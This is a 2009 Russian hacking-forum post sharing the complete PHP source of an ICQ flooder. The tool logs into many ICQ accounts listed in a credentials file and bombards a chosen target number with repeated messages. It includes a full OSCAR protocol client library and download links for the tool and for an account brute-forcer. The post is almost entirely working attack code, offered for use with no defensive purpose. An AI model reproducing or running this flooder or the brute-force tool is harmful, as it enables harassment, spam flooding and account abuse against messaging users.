ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

ICQ Flooder by Zedi
  #1  
Старый 22.02.2009, 11:56
Аватар для Zedi
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию ICQ Flooder by Zedi

Привет всем!!
Вчера от нечего делать написал флудер, даже не думал он будет такой мощный, все зависит от кол-ва асек
Механизм работы:
скрипт сначала заходит на все аськи из списка а потом резко начинает флудить

высказывайте свои предложения по скрипту, это только его первая версия, так что все впереди))

вот собственно сам скрипт (написан с юмором)

flooder.php
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);
echo 
'<html> <head><title>Артиллерийское депо (ICQ Flooder)</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
require_once (
"icqlib.php");
if (isset(
$_POST['submit']))
{
    foreach (
$_POST as $post_date_key => $post_date)
    {
        if (empty(
$post_date))
        {
            die(
"Вы не заполнили поля");
        }
    }
    
$num $_POST['uin'];
    
$mn $_POST['mn'];
    
$message $_POST['message'];

    
$source "flooder.txt";

    
$file_s file($source);
    
$count count($file_s);
    
$i 1;
    
$connected = array();
    echo 
"Заряжаем пушки<br>";
    
flush();
    foreach (
$file_s as $str)
    {
        list(
$uin$password) = explode(";"$str);
        
$uin trim($uin);
        
$password trim($password);
        
$debug false;
        
$icq{$i} = new ICQclient($uin$password);
        
$icq{$i}->connect();
        if (
$icq{$i}->connected)
        {
            
$icq{$i}->login();
            if (
$icq{$i}->logged)
            {
                
$put array_push($connected$i);
            }
        }
        
$i++;
    }
    echo 
"Пушки заряжены<br>Начинаем атаку<br>";
    
flush();
    foreach (
$connected as $z)
    {
        for (
$n 0$n $mn$n++)
        {
            
$icq{$z}->send_message($num$message);
        }
        echo 
"Пушка №" $z " успешно выстрелила<br>";
        
        
flush();
    }

    foreach (
$connected as $z)
    {
        
$icq{$z}->disconnect();

    }
} else
{
    echo 
"<form method='POST' name='submit'><table border=0>
<tr><td width='150'>ICQ</td><td><input type='text' name='uin' size='20'></td></tr>
<tr><td width='150'>Кол-во сообщений с одного номера</td><td><input name='mn' type='text' value='1' size='20'></td></tr>
<tr><td width='150'>Сообщение</td><td><textarea rows='3' cols='17' name='message'></textarea></td></tr>
<tr><td width='150'>Начать флуд</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>"
;
}
echo 
"Разработка:Zedi v.0.1</body></html><noscript>";

?>
icqlib.php
PHP код:
<?
class ICQclient
{
    var 
$socket$server$port$connected;
    var 
$uin$password$logged;
    var 
$client = array(), $sequence$TLV = array();
    var 
$uin_sendto$message;

    function 
ICQclient($uin$password)
    {
        
$this->server "login.icq.com";
        
$this->port 5190;
        
$this->uin = (string )$uin;
        
$this->password $password;
        
$this->client = array("name" => "icqlib.php""country" => "ru""language" =>
            
"ru""major" => 1"minor" => 0"lesser" => 0"build" => 1);
    }

    function 
connect()
    {
        
$this->socket = @fsockopen($this->server$this->port);
        if (!
$this->socket)
            return 
false;
        else
        {
            
$this->connected true;
            return 
true;
        }
    }

    function 
connect_migration()
    {
        list(
$server$port) = explode(":"$this->TLV[0x05]);
        
$this->socket = @fsockopen($server$port);
    }

    function 
login()
    {
        if (!
$this->connected)
            
$this->connect();
        if (!
$this->connected)
            return 
false;
        
$this->receive_packet();
        
$this->sequence rand(0x00000xFFFF);
        
$this->send_packet("login");
        
$SNAC $this->receive_packet();
        
$this->parse_SNAC($SNAC);
        if (!(@
$this->TLV[0x05] and @$this->TLV[0x06]))
            return 
false;
        
$this->connect_migration();
        
$this->send_packet("cookie");
        
$this->receive_packet();
        
$this->send_packet("ready");
        
$this->receive_packet();
        
$this->logged true;
        return 
true;
    }

    function 
send_message($uin$message)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->message $message;
        
$this->send_packet("message");
        
$this->receive_packet();
        return 
true;
    }

    function 
getstatus($uin)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->send_packet("userinfo");
        
$SNAC $this->receive_packet();
        list(, 
$subfamily) = unpack("C"$SNAC[3]);
        if (
$subfamily == 6)
        {
            list(, 
$uin_length) = unpack("C"$SNAC[10]);
            
$this->parse_SNAC(substr($SNAC15 $uin_length));
            if (
$this->TLV[6])
                list(, 
$status_code) = unpack("C"$this->TLV[6][3]);
            else
                
$status_code 0xFF;
            switch (
$status_code)
            {
                case 
0x00:
                    
$status "online";
                    break;
                case 
0x01:
                    
$status "away";
                    break;
                case 
0x02:
                    
$status "dnd";
                    break;
                case 
0x03:
                    
$status "dnd";
                    break;
                case 
0x04:
                    
$status "na";
                    break;
                case 
0x05:
                    
$status "na";
                    break;
                case 
0x10:
                    
$status "occupied";
                    break;
                case 
0x11:
                    
$status "occupied";
                    break;
                case 
0x13:
                    
$status "dnd";
                    break;
                case 
0x20:
                    
$status "free4chat";
                    break;
                default:
                    
$status "undefined";
                    break;
            }
        } else
            
$status "offline";
        return 
$status;
    }

    function 
disconnect()
    {
        
$this->connected $this->logged false;
        return @
fclose($this->socket);
    }

    function 
log_packet($packet$type "packet")
    {
        global 
$debug_log;
        
$debug_log .= "<p>$type:<br>";
        for (
$i 0$i strlen($packet); $i++)
        {
            if (
strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                
$debug_log .= "0";
            
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
        }
        
$debug_log .= "</p>";
    }

    function 
send_packet($type)
    {
        global 
$debug;
        list(
$channel$SNAC) = $this->gen_SNAC($type);
        
$FLAP pack("CCnn"0x2A$channel$this->sequencestrlen($SNAC));
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"send");
        @
fwrite($this->socket$packet);
        
$this->sequence++;
        if (
$this->sequence == 0xFFFF)
            
$this->sequence 0x0000;
    }

    function 
receive_packet()
    {
        global 
$debug;
        
$FLAP = @fread($this->socket6);
        list(, 
$length) = @unpack("n"substr($FLAP42));
        
$SNAC = @fread($this->socket$length);
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"receive");
        return 
$SNAC;
    }

    function 
gen_SNAC($type)
    {
        if (
$type == "login")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x01$this->uin) . $this->gen_TLV(0x02,
                
xor_encrypt($this->password)) . $this->gen_TLV(0x03$this->client["name"]) . $this->
                
gen_TLV(0x162662) . $this->gen_TLV(0x17$this->client["major"], 2) . $this->
                
gen_TLV(0x18$this->client["minor"], 2) . $this->gen_TLV(0x19$this->client["lesser"],
                
2) . $this->gen_TLV(0x1A$this->client["build"], 2) . $this->gen_TLV(0x1485,
                
4) . $this->gen_TLV(0x0F$this->client["language"]) . $this->gen_TLV(0x0E$this->
                
client["country"]);
            
$channel 1;
        }
        if (
$type == "cookie")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x06$this->TLV[0x06]);
            
$channel 1;
        }
        if (
$type == "ready")
        { 
// SNAC(01,02) - CLI_READY
            
$SNAC "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
            
$channel 2;
        }
        if (
$type == "message")
        { 
// SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
            
$this->TLV[0x0501] = pack("C"1);
            
$this->TLV[0x0101] = pack("N"0) . $this->message;
            
$this->TLV[0x02] = $this->gen_TLV(0x0501$this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                
$this->TLV[0x0101]);
            
$SNAC pack("nnnNdnca*"0x040x0600microtime(), 1strlen($this->
                
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02$this->TLV[0x02]) . $this->
                
gen_TLV(0x06"");
            
$channel 2;
        }
        if (
$type == "userinfo")
        { 
// SNAC(02,05) - CLI_LOCATION_INFO_REQ
            
$SNAC pack("nnnNnca*"0x020x05001strlen($this->uin_sendto), $this->
                
uin_sendto);
            
$channel 2;
        }
        return array(
$channel$SNAC);
    }

    function 
parse_SNAC($SNAC)
    {
        unset(
$this->TLV);
        while (
strlen($SNAC) > 0)
        {
            list(, 
$type$length) = unpack("n2"substr($SNAC04));
            
$this->TLV[$type] = substr($SNAC4$length);
            
$SNAC substr($SNAC$length);
        }
    }

    function 
gen_TLV($type$value$length false)
    {
        switch (
$length)
        {
            case 
1:
                
$format "C";
                break; 
// unsigned char (8 bit)
            
case 2:
                
$format "n";
                break; 
// unsigned short (16 bit, big endian byte order)
            
case 4:
                
$format "N";
                break; 
// unsigned long (32 bit, big endian byte order)
            
default:
                
$format "a*";
                break; 
// NUL-padded string
        
}
        if (
$length === false)
            
$length strlen($value);
        return 
pack("nn" $format$type$length$value);
    }
}

function 
xor_encrypt($password)
{
    
$roast "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
    
$xored "";
    for (
$i 0$i strlen($password); $i++)
        
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
    return 
$xored;
}

function 
put($data$file)
{
    global 
$go;
    
$f fopen($file"a") or die("File " $file " doesn't exist");
    
fwrite($f$data);
    
fclose($f);
    
$go++;
}
?>
и создайте файл flooder.txt с аськами


ну или всее сразу можно скачать отсюда _http://slil.ru/26973485

P.S. все зависит от количества асек, все ошибки которые заметите пишите здесь или в ПМ

P.P.S вот _http://slil.ru/26984265 еще брут от меня, м.б. кому пригодится

Последний раз редактировалось Zedi; 23.02.2009 в 00:35..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Официальное заявление ICQ: использовать QIP — опасно xxxPixelxxxx Мировые новости 63 14.11.2009 04:13
Мгновенные сообщения как феномен Интернета GrinGoO Мировые новости 9 30.10.2009 08:41
[FlIsis] ICQ flooder public Isis ICQ 36 31.01.2009 20:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ